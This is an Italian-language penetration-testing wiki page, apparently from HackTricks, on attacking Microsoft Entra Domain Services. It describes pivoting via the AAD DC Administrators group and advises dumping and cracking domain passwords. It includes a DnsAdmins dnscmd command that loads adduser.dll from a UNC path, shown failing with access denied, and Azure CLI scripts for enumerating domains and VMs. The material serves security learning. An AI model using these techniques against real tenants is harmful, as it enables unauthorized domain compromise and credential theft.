# Az - Microsoft Entra Domain Services

{{#include ../../../banners/hacktricks-training.md}}

## Servizi di Dominio

Microsoft Entra Domain Services consente di implementare un Active Directory in Azure senza la necessità di gestire i Domain Controllers (in realtà non hai nemmeno accesso a essi).

Il suo obiettivo principale è consentire di eseguire applicazioni legacy nel cloud che non possono utilizzare metodi di autenticazione moderni, o dove non si desidera che le ricerche nel directory tornino sempre a un ambiente AD DS on-premises.

Nota che per sincronizzare gli utenti generati in Entra ID (e non sincronizzati da altri active directory) con il servizio di dominio AD è necessario **cambiare la password dell'utente** con una nuova in modo che possa essere sincronizzata con il nuovo AD. In realtà, l'utente non viene sincronizzato da Microsoft Entra ID ai Servizi di Dominio fino a quando la password non viene cambiata.

> [!WARNING]
> Anche se stai creando un nuovo dominio active directory, non sarai in grado di gestirlo completamente (a meno di sfruttare alcune misconfigurazioni), il che significa che per impostazione predefinita, ad esempio, non puoi creare utenti direttamente nell'AD. Li crei **synchronizzando gli utenti da Entra ID.** Puoi indicare di sincronizzare tutti gli utenti (anche quelli sincronizzati da altri AD on-premise), solo gli utenti cloud (utenti creati in Entra ID), o anche **filtrarli ulteriormente**.

> [!NOTE]
> In generale, a causa della mancanza di flessibilità nella configurazione del nuovo dominio e del fatto che gli AD sono solitamente già on-premise, questa non è l'integrazione principale tra Entra ID e AD, ma è comunque interessante sapere come comprometterlo.

### Pivoting

I membri del gruppo generato **`AAD DC Administrators`** ricevono permessi di amministratore locale su VM che sono collegate al dominio gestito (ma non nei domain controllers) perché vengono aggiunti al gruppo degli amministratori locali. I membri di questo gruppo possono anche utilizzare **Remote Desktop per connettersi da remoto a VM collegate al dominio**, e sono anche membri dei gruppi:

- **`Denied RODC Password Replication Group`**: Questo è un gruppo che specifica utenti e gruppi le cui password non possono essere memorizzate nella cache sui RODC (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`**: Questo gruppo consente ai membri di creare Group Policies nel dominio. Tuttavia, i suoi membri non possono applicare group policies a utenti o gruppi o modificare GPO esistenti, quindi non è così interessante in questo ambiente.
- **`DnsAdmins`**: Questo gruppo consente di gestire le impostazioni DNS ed è stato abusato in passato per [escalare privilegi e compromettere il dominio](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), tuttavia dopo aver testato l'attacco in questo ambiente è stato verificato che la vulnerabilità è stata corretta:
```text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5
```
Nota che per concedere queste autorizzazioni, all'interno dell'AD il gruppo **`AAD DC Administrators`** è reso membro dei gruppi precedenti, e anche il GPO **`AADDC Computers GPO`** aggiunge come Amministratori Locali tutti i membri del gruppo di dominio **`AAD DC Administrators`**.

Il pivoting da Entra ID a un AD creato con Domain Services è semplice, basta aggiungere un utente nel gruppo **`AAD DC Administrators`**, accedere via RDP a qualsiasi/tutte le macchine nel dominio e sarai in grado di rubare dati e anche **compromettere il dominio.**

Tuttavia, il pivoting dal dominio a Entra ID non è così facile poiché nulla del dominio viene sincronizzato in Entra ID. Tuttavia, controlla sempre i metadati di tutte le VM unite poiché le loro identità gestite assegnate potrebbero avere permessi interessanti. Inoltre, **dumpa tutte le password degli utenti dal dominio** e prova a crackerle per poi accedere a Entra ID / Azure.

> [!NOTE]
> Nota che in passato sono state trovate altre vulnerabilità in questo AD gestito che hanno permesso di compromettere i DC, [come questa](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Un attaccante che compromette il DC potrebbe molto facilmente mantenere la persistenza senza che gli amministratori di Azure se ne accorgano o siano in grado di rimuoverla.

### Enumerazione
```bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"
```
{{#include ../../../banners/hacktricks-training.md}}
